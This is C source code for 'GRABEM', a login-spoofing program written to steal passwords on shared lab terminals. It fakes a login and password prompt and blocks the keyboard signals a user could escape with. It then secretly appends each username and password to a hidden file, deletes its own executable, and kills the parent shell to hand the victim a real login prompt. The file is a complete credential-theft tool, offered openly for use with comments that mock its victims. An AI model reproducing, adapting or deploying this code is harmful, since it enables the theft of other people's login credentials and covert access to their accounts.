/*----------------------------------------------------------------------+ | GRABEM 1.0 by The K-Man | | A Cute little program to collect passwords | +----------------------------------------------------------------------*/ #define PASSWORD "Password:" #define INCORRECT "\nLogin incorrect" #define FILENAME ".exrc%" #include#include /*-----------------------------------------------------------------------+ | ignoreSig | | | | Does nothing. Used to trap SIGINT, SIGTSTP, SIGQUIT. | +-----------------------------------------------------------------------*/ void ignoreSig () { return; } /*-----------------------------------------------------------------------+ | Main | +-----------------------------------------------------------------------*/ main() { char name[10], /* users name */ password[10]; /* users password */ int i, /* loop counter */ lab, /* lab # you're running on */ procid; /* pid of the shell we're under */ FILE *fp; /* output file */ /*-------------------------------------------------------------------------------+ | Trap the SIGINT (ctrl-C), SIGSTP (ctrl-Z), and SIGQUIT (ctrl-\) | | signals so the program doesn't stop and dump back to the shell. | +-------------------------------------------------------------------------------*/ signal (SIGINT, ignoreSig); signal (SIGTSTP, ignoreSig); signal (SIGQUIT, ignoreSig); /*---------------------------------------------------------------------------+ | Get the parent pid so that we can kill it quickly later. Remove | | this program from the account. | +---------------------------------------------------------------------------*/ procid = getppid(); system ("\\rm proj2"); /*-------------------------------------------------------------------+ | Ask for the lab # we're running on. Clear the screen. | +-------------------------------------------------------------------*/ printf ("lab#: "); scanf ("%d", &lab); for (i=1; i<40; i++) printf ("\n"); getchar(); /*-----------------------------------------------------------------------------+ | Outer for loop. If the name is <= 4 characters, it's probably not | | a real id. They screwed up. Give 'em another chance. | +-----------------------------------------------------------------------------*/ for(;;) { /*-----------------------------------------------------------------------+ | If they hit return, loop back and give 'em the login again. | +-----------------------------------------------------------------------*/ for (;;) { printf("lab%1d login: ",lab); gets (name); if (strcmp (name, "") != 0) break; } /*---------------------------------------------------------------------------+ | Turn off the screen echo, ask for their password, and turn the | | echo back on. | +---------------------------------------------------------------------------*/ system ("stty -echo > /dev/console"); printf(PASSWORD); scanf("%s",password); getchar(); system ("stty echo > /dev/console"); /*---------------------------------------------------------------+ | Write their userid and password to the file. | +---------------------------------------------------------------*/ if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { fprintf(fp,"login %s has password %s\n",name,password); fclose(fp); } /*---------------------------------------------------------------+ | If the name is bogus, send 'em back through | +---------------------------------------------------------------*/ if (strlen (name) >= 4) break; else printf (INCORRECT); } /*--------------------------------------------------------------------------------+ | Everything went cool. Tell 'em they fucked up and mis-typed and | | dump them out to the REAL login prompt. We do this by killing the | | parent process (console). | +--------------------------------------------------------------------------------*/ printf (INCORRECT); kill (procid, 9); }